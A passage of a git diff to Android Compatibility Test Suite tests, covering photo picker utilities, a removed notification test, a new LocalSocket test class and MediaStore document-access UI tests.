+ resolver.takePersistableUriPermission(uri, Intent.FLAG_GRANT_READ_URI_PERMISSION);
+
+ final List<UriPermission> uriPermissions = resolver.getPersistedUriPermissions();
+ final List<Uri> uris = new ArrayList<>();
+ for (UriPermission perm : uriPermissions) {
+ if (perm.isReadPermission()) {
+ uris.add(perm.getUri());
+ }
+ }
+
+ assertThat(uris).contains(uri);
+ }
+
public static void assertMimeType(Uri uri, String expectedMimeType) throws Exception {
final Context context = InstrumentationRegistry.getTargetContext();
final String resultMimeType = context.getContentResolver().getType(uri);
@@ -65,17 +78,15 @@ public class PhotoPickerAssertionsUtils {
public static void assertRedactedReadOnlyAccess(Uri uri) throws Exception {
assertThat(uri).isNotNull();
- final String[] projection = new String[]{MediaStore.Files.FileColumns.TITLE,
- MediaStore.Files.FileColumns.MEDIA_TYPE};
+ final String[] projection = new String[]{ PickerMediaColumns.MIME_TYPE };
final Context context = InstrumentationRegistry.getTargetContext();
final ContentResolver resolver = context.getContentResolver();
- final Cursor c = resolver.query(uri, projection, null, null);
- assertThat(c).isNotNull();
- assertThat(c.moveToFirst()).isTrue();
+ try (Cursor c = resolver.query(uri, projection, null, null)) {
+ assertThat(c).isNotNull();
+ assertThat(c.moveToFirst()).isTrue();
+
+ final String mimeType = c.getString(c.getColumnIndex(PickerMediaColumns.MIME_TYPE));
- if (getBoolean("sys.photopicker.pickerdb.enabled", true)) {
- final String mimeType = c.getString(c.getColumnIndex(
- CloudMediaProviderContract.MediaColumns.MIME_TYPE));
if (mimeType.startsWith("image")) {
assertImageRedactedReadOnlyAccess(uri, resolver);
} else if (mimeType.startsWith("video")) {
@@ -83,24 +94,14 @@ public class PhotoPickerAssertionsUtils {
} else {
fail("The mime type is not as expected: " + mimeType);
}
- } else {
- final int mediaType = c.getInt(1);
- switch (mediaType) {
- case MEDIA_TYPE_IMAGE:
- assertImageRedactedReadOnlyAccess(uri, resolver);
- break;
- case MEDIA_TYPE_VIDEO:
- assertVideoRedactedReadOnlyAccess(uri, resolver);
- break;
- default:
- fail("The media type is not as expected: " + mediaType);
- }
}
}
private static void assertVideoRedactedReadOnlyAccess(Uri uri, ContentResolver resolver)
throws Exception {
// The location is redacted
+ // TODO(b/201505595): Make this method work for test_video.mp4. Currently it works only for
+ // test_video_dng.mp4
try (InputStream in = resolver.openInputStream(uri);
ByteArrayOutputStream out = new ByteArrayOutputStream()) {
FileUtils.copy(in, out);
diff --git a/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerFilesUtils.java b/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerFilesUtils.java
index 37a44f99915..3705ddd8fb1 100644
--- a/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerFilesUtils.java
+++ b/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerFilesUtils.java
@@ -19,10 +19,12 @@ package android.photopicker.cts.util;
import android.app.UiAutomation;
import android.content.Context;
import android.net.Uri;
+import android.os.Bundle;
import android.os.FileUtils;
import android.os.UserHandle;
import android.photopicker.cts.R;
import android.provider.MediaStore;
+import android.provider.cts.ProviderTestUtils;
import android.provider.cts.media.MediaStoreUtils;
import androidx.test.InstrumentationRegistry;
@@ -42,11 +44,29 @@ public class PhotoPickerFilesUtils {
public static void createImages(int count, int userId, List<Uri> uriList)
throws Exception {
+ createImages(count, userId, uriList, false);
+ }
+
+ public static void createImages(int count, int userId, List<Uri> uriList, boolean isFavorite)
+ throws Exception {
for (int i = 0; i < count; i++) {
- final Uri uri = createImage(userId);
+ final Uri uri = createImage(userId, isFavorite);
uriList.add(uri);
clearMediaOwner(uri, userId);
}
+ // Wait for Picker db sync to complete
+ MediaStore.waitForIdle(InstrumentationRegistry.getContext().getContentResolver());
+ }
+
+ public static void createDNGVideos(int count, int userId, List<Uri> uriList)
+ throws Exception {
+ for (int i = 0; i < count; i++) {
+ final Uri uri = createDNGVideo(userId);
+ uriList.add(uri);
+ clearMediaOwner(uri, userId);
+ }
+ // Wait for Picker db sync to complete
+ MediaStore.waitForIdle(InstrumentationRegistry.getContext().getContentResolver());
}
public static void createVideos(int count, int userId, List<Uri> uriList)
@@ -56,11 +76,16 @@ public class PhotoPickerFilesUtils {
uriList.add(uri);
clearMediaOwner(uri, userId);
}
+ // Wait for Picker db sync to complete
+ MediaStore.waitForIdle(InstrumentationRegistry.getContext().getContentResolver());
}
- public static void deleteMedia(Uri uri, int userId) throws Exception {
- final String cmd = String.format("content delete --uri %s --user %d", uri, userId);
- ShellUtils.runShellCommand(cmd);
+ public static void deleteMedia(Uri uri, Context context) throws Exception {
+ try {
+ ProviderTestUtils.setOwner(uri, context.getPackageName());
+ context.getContentResolver().delete(uri, Bundle.EMPTY);
+ } catch (Exception ignored) {
+ }
}
private static void clearMediaOwner(Uri uri, int userId) throws Exception {
@@ -69,19 +94,26 @@ public class PhotoPickerFilesUtils {
ShellUtils.runShellCommand(cmd);
}
+ private static Uri createDNGVideo(int userId) throws Exception {
+ final Uri uri = stageMedia(R.raw.test_video_dng,
+ MediaStore.Video.Media.EXTERNAL_CONTENT_URI, "video/mp4", userId);
+ return uri;
+ }
+
private static Uri createVideo(int userId) throws Exception {
- final Uri uri = stageMedia(R.raw.testvideo_meta,
+ final Uri uri = stageMedia(R.raw.test_video,
MediaStore.Video.Media.EXTERNAL_CONTENT_URI, "video/mp4", userId);
return uri;
}
- private static Uri createImage(int userId) throws Exception {
+ private static Uri createImage(int userId, boolean isFavorite) throws Exception {
final Uri uri = stageMedia(R.raw.lg_g4_iso_800_jpg,
- MediaStore.Images.Media.EXTERNAL_CONTENT_URI, "image/jpeg", userId);
+ MediaStore.Images.Media.EXTERNAL_CONTENT_URI, "image/jpeg", userId, isFavorite);
return uri;
}
- private static Uri stageMedia(int resId, Uri collectionUri, String mimeType, int userId) throws
+ private static Uri stageMedia(int resId, Uri collectionUri, String mimeType, int userId,
+ boolean isFavorite) throws
Exception {
UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
uiAutomation.adoptShellPermissionIdentity(
@@ -92,17 +124,24 @@ public class PhotoPickerFilesUtils {
final Context userContext = userId == context.getUserId() ? context :
context.createPackageContextAsUser("android", /* flags= */ 0,
UserHandle.of(userId));
- return stageMedia(resId, collectionUri, mimeType, userContext);
+ return stageMedia(resId, collectionUri, mimeType, userContext, isFavorite);
} finally {
uiAutomation.dropShellPermissionIdentity();
}
}
- private static Uri stageMedia(int resId, Uri collectionUri, String mimeType, Context context)
+ private static Uri stageMedia(int resId, Uri collectionUri, String mimeType, int userId) throws
+ Exception {
+ return stageMedia(resId, collectionUri, mimeType, userId, false);
+ }
+
+ private static Uri stageMedia(int resId, Uri collectionUri, String mimeType, Context context,
+ boolean isFavorite)
throws IOException {
final String displayName = DISPLAY_NAME_PREFIX + System.nanoTime();
final MediaStoreUtils.PendingParams params = new MediaStoreUtils.PendingParams(
collectionUri, displayName, mimeType);
+ params.setIsFavorite(isFavorite);
final Uri pendingUri = MediaStoreUtils.createPending(context, params);
try (MediaStoreUtils.PendingSession session = MediaStoreUtils.openPending(context,
pendingUri)) {
diff --git a/tests/app/src/android/app/cts/NotificationManagerTest.java b/tests/app/src/android/app/cts/NotificationManagerTest.java
index d53a952199d..be1c791703d 100644
--- a/tests/app/src/android/app/cts/NotificationManagerTest.java
+++ b/tests/app/src/android/app/cts/NotificationManagerTest.java
@@ -1859,32 +1859,6 @@ public class NotificationManagerTest extends AndroidTestCase {
}
}
- public void testNotify_blockedChannelGroup() throws Exception {
- mNotificationManager.cancelAll();
-
- NotificationChannelGroup group = new NotificationChannelGroup(mId, "group name");
- group.setBlocked(true);
- mNotificationManager.createNotificationChannelGroup(group);
- NotificationChannel channel =
- new NotificationChannel(mId, "name", IMPORTANCE_DEFAULT);
- channel.setGroup(mId);
- mNotificationManager.createNotificationChannel(channel);
-
- int id = 1;
- final Notification notification =
- new Notification.Builder(mContext, mId)
- .setSmallIcon(R.drawable.black)
- .setWhen(System.currentTimeMillis())
- .setContentTitle("notify#" + id)
- .setContentText("This is #" + id + "notification ")
- .build();
- mNotificationManager.notify(id, notification);
-
- if (!checkNotificationExistence(id, /*shouldExist=*/ false)) {
- fail("found unexpected notification id=" + id);
- }
- }
-
public void testCancel() throws Exception {
final int id = 9;
sendNotification(id, R.drawable.black);
diff --git a/tests/net/Android.bp b/tests/net/Android.bp
new file mode 100644
index 00000000000..2a4153ac89b
--- /dev/null
+++ b/tests/net/Android.bp
@@ -0,0 +1,24 @@
+// Copyright (C) 2021 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+ default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+java_library {
+ name: "CtsNetTestsNonUpdatableLib",
+ srcs: ["src/**/*.java"],
+ static_libs: ["androidx.test.rules"],
+ platform_apis: true,
+}
diff --git a/tests/net/OWNERS b/tests/net/OWNERS
new file mode 100644
index 00000000000..67e4fc928a1
--- /dev/null
+++ b/tests/net/OWNERS
@@ -0,0 +1,3 @@
+# Bug component: 31808
+set noparent
+file:platform/packages/modules/Connectivity:master:/OWNERS_core_networking_xts \ No newline at end of file
diff --git a/tests/net/TEST_MAPPING b/tests/net/TEST_MAPPING
new file mode 100644
index 00000000000..a6a02d595fd
--- /dev/null
+++ b/tests/net/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+ "imports": [
+ {
+ "path": "packages/modules/Connectivity"
+ }
+ ]
+}
diff --git a/tests/net/src/android/net/cts/LocalSocketTest.java b/tests/net/src/android/net/cts/LocalSocketTest.java
new file mode 100644
index 00000000000..969f7060913
--- /dev/null
+++ b/tests/net/src/android/net/cts/LocalSocketTest.java
@@ -0,0 +1,471 @@
+/*
+ * Copyright (C) 2008 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.net.cts;
+
+import android.net.Credentials;
+import android.net.LocalServerSocket;
+import android.net.LocalSocket;
+import android.net.LocalSocketAddress;
+import android.os.ParcelFileDescriptor;
+import android.system.Os;
+import android.system.OsConstants;
+
+import junit.framework.TestCase;
+
+import java.io.FileDescriptor;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.util.concurrent.Callable;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.ExecutorService;
+import java.util.concurrent.Executors;
+import java.util.concurrent.Future;
+import java.util.concurrent.TimeUnit;
+
+public class LocalSocketTest extends TestCase {
+ private final static String ADDRESS_PREFIX = "com.android.net.LocalSocketTest";
+
+ public void testLocalConnections() throws IOException {
+ String address = ADDRESS_PREFIX + "_testLocalConnections";
+ // create client and server socket
+ LocalServerSocket localServerSocket = new LocalServerSocket(address);
+ LocalSocket clientSocket = new LocalSocket();
+
+ // establish connection between client and server
+ LocalSocketAddress locSockAddr = new LocalSocketAddress(address);
+ assertFalse(clientSocket.isConnected());
+ clientSocket.connect(locSockAddr);
+ assertTrue(clientSocket.isConnected());
+
+ LocalSocket serverSocket = localServerSocket.accept();
+ assertTrue(serverSocket.isConnected());
+ assertTrue(serverSocket.isBound());
+ try {
+ serverSocket.bind(localServerSocket.getLocalSocketAddress());
+ fail("Cannot bind a LocalSocket from accept()");
+ } catch (IOException expected) {
+ }
+ try {
+ serverSocket.connect(locSockAddr);
+ fail("Cannot connect a LocalSocket from accept()");
+ } catch (IOException expected) {
+ }
+
+ Credentials credent = clientSocket.getPeerCredentials();
+ assertTrue(0 != credent.getPid());
+
+ // send data from client to server
+ OutputStream clientOutStream = clientSocket.getOutputStream();
+ clientOutStream.write(12);
+ InputStream serverInStream = serverSocket.getInputStream();
+ assertEquals(12, serverInStream.read());
+
+ //send data from server to client
+ OutputStream serverOutStream = serverSocket.getOutputStream();
+ serverOutStream.write(3);
+ InputStream clientInStream = clientSocket.getInputStream();
+ assertEquals(3, clientInStream.read());
+
+ // Test sending and receiving file descriptors
+ clientSocket.setFileDescriptorsForSend(new FileDescriptor[]{FileDescriptor.in});
+ clientOutStream.write(32);
+ assertEquals(32, serverInStream.read());
+
+ FileDescriptor[] out = serverSocket.getAncillaryFileDescriptors();
+ assertEquals(1, out.length);
+ FileDescriptor fd = clientSocket.getFileDescriptor();
+ assertTrue(fd.valid());
+
+ //shutdown input stream of client
+ clientSocket.shutdownInput();
+ assertEquals(-1, clientInStream.read());
+
+ //shutdown output stream of client
+ clientSocket.shutdownOutput();
+ try {
+ clientOutStream.write(10);
+ fail("testLocalSocket shouldn't come to here");
+ } catch (IOException e) {
+ // expected
+ }
+
+ //shutdown input stream of server
+ serverSocket.shutdownInput();
+ assertEquals(-1, serverInStream.read());
+
+ //shutdown output stream of server
+ serverSocket.shutdownOutput();
+ try {
+ serverOutStream.write(10);
+ fail("testLocalSocket shouldn't come to here");
+ } catch (IOException e) {
+ // expected
+ }
+
+ //close client socket
+ clientSocket.close();
+ try {
+ clientInStream.read();
+ fail("testLocalSocket shouldn't come to here");
+ } catch (IOException e) {
+ // expected
+ }
+
+ //close server socket
+ serverSocket.close();
+ try {
+ serverInStream.read();
+ fail("testLocalSocket shouldn't come to here");
+ } catch (IOException e) {
+ // expected
+ }
+ }
+
+ public void testAccessors() throws IOException {
+ String address = ADDRESS_PREFIX + "_testAccessors";
+ LocalSocket socket = new LocalSocket();
+ LocalSocketAddress addr = new LocalSocketAddress(address);
+
+ assertFalse(socket.isBound());
+ socket.bind(addr);
+ assertTrue(socket.isBound());
+ assertEquals(addr, socket.getLocalSocketAddress());
+
+ String str = socket.toString();
+ assertTrue(str.contains("impl:android.net.LocalSocketImpl"));
+
+ socket.setReceiveBufferSize(1999);
+ assertEquals(1999 << 1, socket.getReceiveBufferSize());
+
+ socket.setSendBufferSize(3998);
+ assertEquals(3998 << 1, socket.getSendBufferSize());
+
+ assertEquals(0, socket.getSoTimeout());
+ socket.setSoTimeout(1996);
+ assertTrue(socket.getSoTimeout() > 0);
+
+ try {
+ socket.getRemoteSocketAddress();
+ fail("testLocalSocketSecondary shouldn't come to here");
+ } catch (UnsupportedOperationException e) {
+ // expected
+ }
+
+ try {
+ socket.isClosed();
+ fail("testLocalSocketSecondary shouldn't come to here");
+ } catch (UnsupportedOperationException e) {
+ // expected
+ }
+
+ try {
+ socket.isInputShutdown();
+ fail("testLocalSocketSecondary shouldn't come to here");
+ } catch (UnsupportedOperationException e) {
+ // expected
+ }
+
+ try {
+ socket.isOutputShutdown();
+ fail("testLocalSocketSecondary shouldn't come to here");
+ } catch (UnsupportedOperationException e) {
+ // expected
+ }
+
+ try {
+ socket.connect(addr, 2005);
+ fail("testLocalSocketSecondary shouldn't come to here");
+ } catch (UnsupportedOperationException e) {
+ // expected
+ }
+
+ socket.close();
+ }
+
+ // http://b/31205169
+ public void testSetSoTimeout_readTimeout() throws Exception {
+ String address = ADDRESS_PREFIX + "_testSetSoTimeout_readTimeout";
+
+ try (LocalSocketPair socketPair = LocalSocketPair.createConnectedSocketPair(address)) {
+ final LocalSocket clientSocket = socketPair.clientSocket;
+
+ // Set the timeout in millis.
+ int timeoutMillis = 1000;
+ clientSocket.setSoTimeout(timeoutMillis);
+
+ // Avoid blocking the test run if timeout doesn't happen by using a separate thread.
+ Callable<Result> reader = () -> {
+ try {
+ clientSocket.getInputStream().read();
+ return Result.noException("Did not block");
+ } catch (IOException e) {
+ return Result.exception(e);
+ }
+ };
+ // Allow the configured timeout, plus some slop.
+ int allowedTime = timeoutMillis + 2000;
+ Result result = runInSeparateThread(allowedTime, reader);
+
+ // Check the message was a timeout, it's all we have to go on.
+ String expectedMessage = Os.strerror(OsConstants.EAGAIN);
+ result.assertThrewIOException(expectedMessage);
+ }
+ }
+
+ // http://b/31205169
+ public void testSetSoTimeout_writeTimeout() throws Exception {
+ String address = ADDRESS_PREFIX + "_testSetSoTimeout_writeTimeout";
+
+ try (LocalSocketPair socketPair = LocalSocketPair.createConnectedSocketPair(address)) {
+ final LocalSocket clientSocket = socketPair.clientSocket;
+
+ // Set the timeout in millis.
+ int timeoutMillis = 1000;
+ clientSocket.setSoTimeout(timeoutMillis);
+
+ // Set a small buffer size so we know we can flood it.
+ clientSocket.setSendBufferSize(100);
+ final int bufferSize = clientSocket.getSendBufferSize();
+
+ // Avoid blocking the test run if timeout doesn't happen by using a separate thread.
+ Callable<Result> writer = () -> {
+ try {
+ byte[] toWrite = new byte[bufferSize * 2];
+ clientSocket.getOutputStream().write(toWrite);
+ return Result.noException("Did not block");
+ } catch (IOException e) {
+ return Result.exception(e);
+ }
+ };
+ // Allow the configured timeout, plus some slop.
+ int allowedTime = timeoutMillis + 2000;
+
+ Result result = runInSeparateThread(allowedTime, writer);
+
+ // Check the message was a timeout, it's all we have to go on.
+ String expectedMessage = Os.strerror(OsConstants.EAGAIN);
+ result.assertThrewIOException(expectedMessage);
+ }
+ }
+
+ public void testAvailable() throws Exception {
+ String address = ADDRESS_PREFIX + "_testAvailable";
+
+ try (LocalSocketPair socketPair = LocalSocketPair.createConnectedSocketPair(address)) {
+ LocalSocket clientSocket = socketPair.clientSocket;
+ LocalSocket serverSocket = socketPair.serverSocket.accept();
+
+ OutputStream clientOutputStream = clientSocket.getOutputStream();
+ InputStream serverInputStream = serverSocket.getInputStream();
+ assertEquals(0, serverInputStream.available());
+
+ byte[] buffer = new byte[50];
+ clientOutputStream.write(buffer);
+ assertEquals(50, serverInputStream.available());
+
+ InputStream clientInputStream = clientSocket.getInputStream();
+ OutputStream serverOutputStream = serverSocket.getOutputStream();
+ assertEquals(0, clientInputStream.available());
+ serverOutputStream.write(buffer);
+ assertEquals(50, serverInputStream.available());
+
+ serverSocket.close();
+ }
+ }
+
+ // http://b/34095140
+ public void testLocalSocketCreatedFromFileDescriptor() throws Exception {
+ String address = ADDRESS_PREFIX + "_testLocalSocketCreatedFromFileDescriptor";
+
+ // Establish connection between a local client and server to get a valid client socket file
+ // descriptor.
+ try (LocalSocketPair socketPair = LocalSocketPair.createConnectedSocketPair(address)) {
+ // Extract the client FileDescriptor we can use.
+ FileDescriptor fileDescriptor = socketPair.clientSocket.getFileDescriptor();
+ assertTrue(fileDescriptor.valid());
+
+ // Create the LocalSocket we want to test.
+ LocalSocket clientSocketCreatedFromFileDescriptor =
+ LocalSocket.createConnectedLocalSocket(fileDescriptor);
+ assertTrue(clientSocketCreatedFromFileDescriptor.isConnected());
+ assertTrue(clientSocketCreatedFromFileDescriptor.isBound());
+
+ // Test the LocalSocket can be used for communication.
+ LocalSocket serverSocket = socketPair.serverSocket.accept();
+ OutputStream clientOutputStream =
+ clientSocketCreatedFromFileDescriptor.getOutputStream();
+ InputStream serverInputStream = serverSocket.getInputStream();
+
+ clientOutputStream.write(12);
+ assertEquals(12, serverInputStream.read());
+
+ // Closing clientSocketCreatedFromFileDescriptor does not close the file descriptor.
+ clientSocketCreatedFromFileDescriptor.close();
+ assertTrue(fileDescriptor.valid());
+
+ // .. while closing the LocalSocket that owned the file descriptor does.
+ socketPair.clientSocket.close();
+ assertFalse(fileDescriptor.valid());
+ }
+ }
+
+ public void testFlush() throws Exception {
+ String address = ADDRESS_PREFIX + "_testFlush";
+
+ try (LocalSocketPair socketPair = LocalSocketPair.createConnectedSocketPair(address)) {
+ LocalSocket clientSocket = socketPair.clientSocket;
+ LocalSocket serverSocket = socketPair.serverSocket.accept();
+
+ OutputStream clientOutputStream = clientSocket.getOutputStream();
+ InputStream serverInputStream = serverSocket.getInputStream();
+ testFlushWorks(clientOutputStream, serverInputStream);
+
+ OutputStream serverOutputStream = serverSocket.getOutputStream();
+ InputStream clientInputStream = clientSocket.getInputStream();
+ testFlushWorks(serverOutputStream, clientInputStream);
+
+ serverSocket.close();
+ }
+ }
+
+ private void testFlushWorks(OutputStream outputStream, InputStream inputStream)
+ throws Exception {
+ final int bytesToTransfer = 50;
+ StreamReader inputStreamReader = new StreamReader(inputStream, bytesToTransfer);
+
+ byte[] buffer = new byte[bytesToTransfer];
+ outputStream.write(buffer);
+ assertEquals(bytesToTransfer, inputStream.available());
+
+ // Start consuming the data.
+ inputStreamReader.start();
+
+ // This doesn't actually flush any buffers, it just polls until the reader has read all the
+ // bytes.
+ outputStream.flush();
+
+ inputStreamReader.waitForCompletion(5000);
+ inputStreamReader.assertBytesRead(bytesToTransfer);
+ assertEquals(0, inputStream.available());
+ }
+
+ private static class StreamReader extends Thread {
+ private final InputStream is;
+ private final int expectedByteCount;
+ private final CountDownLatch completeLatch = new CountDownLatch(1);
+
+ private volatile Exception exception;
+ private int bytesRead;
+
+ private StreamReader(InputStream is, int expectedByteCount) {
+ this.is = is;
+ this.expectedByteCount = expectedByteCount;
+ }
+
+ @Override
+ public void run() {
+ try {
+ byte[] buffer = new byte[10];
+ int readCount;
+ while ((readCount = is.read(buffer)) >= 0) {
+ bytesRead += readCount;
+ if (bytesRead >= expectedByteCount) {
+ break;
+ }
+ }
+ } catch (IOException e) {
+ exception = e;
+ } finally {
+ completeLatch.countDown();
+ }
+ }
+
+ public void waitForCompletion(long waitMillis) throws Exception {
+ if (!completeLatch.await(waitMillis, TimeUnit.MILLISECONDS)) {
+ fail("Timeout waiting for completion");
+ }
+ if (exception != null) {
+ throw new Exception("Read failed", exception);
+ }
+ }
+
+ public void assertBytesRead(int expected) {
+ assertEquals(expected, bytesRead);
+ }
+ }
+
+ private static class Result {
+ private final String type;
+ private final Exception e;
+
+ private Result(String type, Exception e) {
+ this.type = type;
+ this.e = e;
+ }
+
+ static Result noException(String description) {
+ return new Result(description, null);
+ }
+
+ static Result exception(Exception e) {
+ return new Result(e.getClass().getName(), e);
+ }
+
+ void assertThrewIOException(String expectedMessage) {
+ assertEquals("Unexpected result type", IOException.class.getName(), type);
+ assertEquals("Unexpected exception message", expectedMessage, e.getMessage());
+ }
+ }
+
+ private static Result runInSeparateThread(int allowedTime, final Callable<Result> callable)
+ throws Exception {
+ ExecutorService service = Executors.newSingleThreadScheduledExecutor();
+ Future<Result> future = service.submit(callable);
+ Result result = future.get(allowedTime, TimeUnit.MILLISECONDS);
+ if (!future.isDone()) {
+ fail("Worker thread appears blocked");
+ }
+ return result;
+ }
+
+ private static class LocalSocketPair implements AutoCloseable {
+ static LocalSocketPair createConnectedSocketPair(String address) throws Exception {
+ LocalServerSocket localServerSocket = new LocalServerSocket(address);
+ final LocalSocket clientSocket = new LocalSocket();
+
+ // Establish connection between client and server
+ LocalSocketAddress locSockAddr = new LocalSocketAddress(address);
+ clientSocket.connect(locSockAddr);
+ assertTrue(clientSocket.isConnected());
+ return new LocalSocketPair(localServerSocket, clientSocket);
+ }
+
+ final LocalServerSocket serverSocket;
+ final LocalSocket clientSocket;
+
+ LocalSocketPair(LocalServerSocket serverSocket, LocalSocket clientSocket) {
+ this.serverSocket = serverSocket;
+ this.clientSocket = clientSocket;
+ }
+
+ public void close() throws Exception {
+ serverSocket.close();
+ clientSocket.close();
+ }
+ }
+}
diff --git a/tests/providerui/AndroidManifest.xml b/tests/providerui/AndroidManifest.xml
index 2f1f791d9d8..a14df70d71b 100644
--- a/tests/providerui/AndroidManifest.xml
+++ b/tests/providerui/AndroidManifest.xml
@@ -23,9 +23,7 @@
<uses-permission android:name="android.permission.ACCESS_BACKGROUND_LOCATION" />
<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />
<uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
- <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
- <uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.WRITE_SETTINGS" />
<!--
@@ -42,7 +40,7 @@
</intent>
</queries>
- <application android:requestLegacyExternalStorage = "true">
+ <application>
<uses-library android:name="android.test.runner"/>
<activity android:name="android.providerui.cts.GetResultActivity" />
diff --git a/tests/providerui/src/android/providerui/cts/MediaStoreUiTest.java b/tests/providerui/src/android/providerui/cts/MediaStoreUiTest.java
index 4342810763c..542b3aa9db6 100644
--- a/tests/providerui/src/android/providerui/cts/MediaStoreUiTest.java
+++ b/tests/providerui/src/android/providerui/cts/MediaStoreUiTest.java
@@ -16,6 +16,8 @@
package android.providerui.cts;
+import static android.provider.cts.ProviderTestUtils.resolveVolumeName;
+
import static org.junit.Assert.assertArrayEquals;
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertNotNull;
@@ -26,12 +28,12 @@ import android.app.Activity;
import android.app.Instrumentation;
import android.app.UiAutomation;
import android.content.ContentResolver;
+import android.content.ContentUris;
import android.content.Context;
import android.content.Intent;
import android.content.UriPermission;
import android.content.pm.PackageManager;
import android.content.pm.ResolveInfo;
-import android.content.res.AssetFileDescriptor;
import android.database.Cursor;
import android.net.Uri;
import android.os.Environment;
@@ -39,7 +41,6 @@ import android.os.FileUtils;
import android.os.ParcelFileDescriptor;
import android.os.storage.StorageManager;
import android.os.storage.StorageVolume;
-import android.os.UserManager;
import android.provider.DocumentsContract;
import android.provider.MediaStore;
import android.provider.cts.ProviderTestUtils;
@@ -50,12 +51,12 @@ import android.support.test.uiautomator.UiDevice;
import android.support.test.uiautomator.UiObject;
import android.support.test.uiautomator.UiObject2;
import android.support.test.uiautomator.UiObjectNotFoundException;
-import android.support.test.uiautomator.UiScrollable;
import android.support.test.uiautomator.UiSelector;
import android.support.test.uiautomator.Until;
import android.system.Os;
import android.text.format.DateUtils;
import android.util.Log;
+import android.util.Pair;
import androidx.test.InstrumentationRegistry;
@@ -68,6 +69,7 @@ import org.junit.runners.Parameterized.Parameter;
import org.junit.runners.Parameterized.Parameters;
import java.io.BufferedReader;
+import java.io.ByteArrayInputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
@@ -122,6 +124,7 @@ public class MediaStoreUiTest {
mActivity = (GetResultActivity) mInstrumentation.startActivitySync(intent);
mInstrumentation.waitForIdleSync();
mActivity.clearResult();
+ mDevice.wakeUp();
}
@After
@@ -147,6 +150,7 @@ public class MediaStoreUiTest {
if (!supportsHardware()) return;
prepareFile();
+ clearDocumentsUi();
final Uri treeUri = acquireAccess(mFile, Environment.DIRECTORY_DOCUMENTS);
assertNotNull(treeUri);
@@ -171,10 +175,11 @@ public class MediaStoreUiTest {
}
@Test
- public void testGetDocumentUri_ThrowsWithoutPermission() throws Exception {
+ public void testGetDocumentUri_throwsWithoutPermission() throws Exception {
if (!supportsHardware()) return;
prepareFile();
+ clearDocumentsUi();
try {
MediaStore.getDocumentUri(mActivity, mMediaStoreUri);
@@ -185,10 +190,11 @@ public class MediaStoreUiTest {
}
@Test
- public void testGetDocumentUri_Symmetry_ExternalStorageProvider() throws Exception {
+ public void testGetDocumentUri_symmetry_externalStorageProvider() throws Exception {
if (!supportsHardware()) return;
prepareFile();
+ clearDocumentsUi();
final Uri treeUri = acquireAccess(mFile, Environment.DIRECTORY_DOCUMENTS);
Log.v(TAG, "Tree " + treeUri);
@@ -207,10 +213,10 @@ public class MediaStoreUiTest {
}
@Test
- public void testGetMediaUriAccess_MediaDocumentsProvider() throws Exception {
+ public void testGetMediaUriAccess_mediaDocumentsProvider() throws Exception {
if (!supportsHardware()) return;
- prepareFile();
+ prepareFile("TEST");
clearDocumentsUi();
final Intent intent = new Intent();
intent.setAction(Intent.ACTION_OPEN_DOCUMENT);
@@ -228,6 +234,104 @@ public class MediaStoreUiTest {
assertAccessToMediaUri(mediaUri, mFile);
}
+ @Test
+ public void testOpenFile_onMediaDocumentsProvider_success() throws Exception {
+ if (!supportsHardware()) return;
+
+ final String rawText = "TEST";
+ // Stage a text file which contains raw text "TEST"
+ prepareFile(rawText);
+ clearDocumentsUi();
+ final Intent intent = new Intent();
+ intent.setAction(Intent.ACTION_OPEN_DOCUMENT);
+ intent.addCategory(Intent.CATEGORY_OPENABLE);
+ intent.setType("*/*");
+ mActivity.startActivityForResult(intent, REQUEST_CODE);
+ mDevice.waitForIdle();
+
+ findDocument(mFile.getName()).click();
+ final Result result = mActivity.getResult();
+ final Uri uri = result.data.getData();
+ assertEquals(MEDIA_DOCUMENTS_PROVIDER_AUTHORITY, uri.getAuthority());
+
+ // Test reading
+ final byte[] expected = rawText.getBytes();
+ final byte[] actual = new byte[4];
+ try (ParcelFileDescriptor fd = mContext.getContentResolver()
+ .openFileDescriptor(uri, "r")) {
+ Os.read(fd.getFileDescriptor(), actual, 0, actual.length);
+ assertArrayEquals(expected, actual);
+ }
+
+ // Test write and read after it
+ final byte[] writtenText = "Hello World".getBytes();
+ final byte[] readText = new byte[11];
+ try (ParcelFileDescriptor fd = mContext.getContentResolver()
+ .openFileDescriptor(uri, "wt")) {
+ Os.write(fd.getFileDescriptor(), writtenText, 0, writtenText.length);
+ }
+ try (ParcelFileDescriptor fd = mContext.getContentResolver()
+ .openFileDescriptor(uri, "r")) {
+ Os.read(fd.getFileDescriptor(), readText, 0, readText.length);
+ assertArrayEquals(writtenText, readText);
+ }
+ }
+
+ @Test
+ public void testOpenFile_onMediaDocumentsProvider_failsWithoutAccess() throws Exception {
+ if (!supportsHardware()) return;
+
